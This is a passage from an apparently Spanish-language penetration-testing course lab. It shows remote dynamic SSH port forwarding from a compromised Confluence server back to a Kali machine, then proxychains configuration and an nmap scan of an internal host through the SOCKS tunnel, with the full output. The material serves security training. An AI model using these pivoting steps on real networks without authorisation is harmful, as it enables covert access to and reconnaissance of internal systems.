Con el remote port forwarding, pudimos reenviar paquetes a un socket por conexión SSH. Sin embargo, tal como encontramos con el local port forwarding, esta limitación de un solo socket por conexión puede ralentizarnos. A menudo queremos más flexibilidad cuando atacamos redes, especialmente en las etapas de enumeración.

Afortunadamente, el Remote Dynamic Port Forwarding puede proporcionar esta flexibilidad. Tal como sugiere el nombre, el Remote Dynamic Port Forwarding crea un reenvío de puerto dinámico en la configuración remota . El puerto proxy SOCKS está vinculado al servidor SSH y el tráfico se reenvía desde el cliente SSH .

El siguiente diagrama ilustra cómo mejoraría el diseño de la red si aplicáramos el reenvío de puertos dinámicos remotos al escenario de reenvío de puertos remotos.

d72023c92ecbe23dac582a4cb42c9292-PRAT2_5_0_SSHRemoteDynamicPortForwarding.png

Para vincular el proxy SOCKS al puerto 9998 en la interfaz de bucle invertido de nuestra máquina Kali, simplemente especificamos -R 9998 al comando SSH que ejecutamos en CONFLUENCE01. También pasaremos el indicador -N para evitar que se abra un shell.

confluence@confluence01:/opt/atlassian/confluence/bin$ ssh -N -R 9998 [email protected]
<n/confluence/bin$ ssh -N -R 9998 [email protected]   
Could not create directory '/home/confluence/.ssh'.
The authenticity of host '192.168.118.4 (192.168.118.4)' can't be established.
ECDSA key fingerprint is SHA256:OaapT7zLp99RmHhoXfbV6JX/IsIh7HjVZyfBfElMFn0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Failed to add the host to the list of known hosts (/home/confluence/.ssh/known_hosts).
[email protected]'s password:

De vuelta en nuestra máquina Kali, podemos comprobar que el puerto 9998 está vinculado mediante el uso de ss .

kali@kali:~$ sudo ss -ntplu
Netid State   Recv-Q  Send-Q   Local Address:Port   Peer Address:Port Process
tcp   LISTEN  0       128          127.0.0.1:9998        0.0.0.0:*     users:(("sshd",pid=939038,fd=9))
tcp   LISTEN  0       128            0.0.0.0:22          0.0.0.0:*     users:(("sshd",pid=181432,fd=3))
tcp   LISTEN  0       128              [::1]:9998           [::]:*     users:(("sshd",pid=939038,fd=7))
tcp   LISTEN  0       128               [::]:22             [::]:*     users:(("sshd",pid=181432,fd=4))

Editaremos nuestro archivo de configuración de Proxychains en /etc/proxychains4.conf o /etc/proxychains.conf en nuestra máquina para reflejar nuestro nuevo puerto proxy SOCKS local.

kali@kali:~$ tail /etc/proxychains4.conf
#       proxy types: http, socks4, socks5, raw
#         * raw: The traffic is simply forwarded to the proxy without modification.
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 9998

Luego podemos ejecutar nmap con proxychains como lo hicimos antes, entre otras herramientas para comprobar que le llegamos.

kali@kali:~$ proxychains nmap -vvv -sT --top-ports=20 -Pn -n 10.4.50.64
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( <https://nmap.org> ) at 2022-07-20 06:25 EDT
Initiating Connect Scan at 06:25
Scanning 10.4.50.64 [20 ports]
[proxychains] Strict chain  ...  127.0.0.1:9998  ...  10.4.50.64:22 <--socket error or timeout!
...
[proxychains] Strict chain  ...  127.0.0.1:9998  ...  10.4.50.64:135  ...  OK
Discovered open port 135/tcp on 10.4.50.64
Completed Connect Scan at 06:28, 210.26s elapsed (20 total ports)
Nmap scan report for 10.4.50.64
Host is up, received user-set (6.7s latency).
Scanned at 2022-07-20 06:25:25 EDT for 210s

PORT     STATE  SERVICE       REASON
21/tcp   closed ftp           conn-refused
22/tcp   closed ssh           conn-refused
23/tcp   closed telnet        conn-refused
25/tcp   closed smtp          conn-refused
53/tcp   closed domain        conn-refused
80/tcp   open   http          syn-ack
110/tcp  closed pop3          conn-refused
111/tcp  closed rpcbind       conn-refused
135/tcp  open   msrpc         syn-ack
139/tcp  closed netbios-ssn   conn-refused
143/tcp  closed imap          conn-refused
443/tcp  closed https         conn-refused
445/tcp  closed microsoft-ds  conn-refused
993/tcp  closed imaps         conn-refused
995/tcp  closed pop3s         conn-refused
1723/tcp closed pptp          conn-refused
3306/tcp closed mysql         conn-refused
3389/tcp open   ms-wbt-server syn-ack
5900/tcp closed vnc           conn-refused
8080/tcp closed http-proxy    conn-refused

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 210.31 seconds